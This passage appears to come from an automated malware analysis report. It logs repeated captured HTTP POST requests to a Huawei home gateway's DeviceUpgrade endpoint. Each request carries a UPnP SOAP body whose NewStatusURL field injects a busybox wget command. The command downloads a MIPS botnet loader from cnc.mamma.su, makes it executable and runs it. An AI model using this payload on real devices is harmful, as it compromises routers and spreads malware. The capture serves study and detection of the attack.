6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 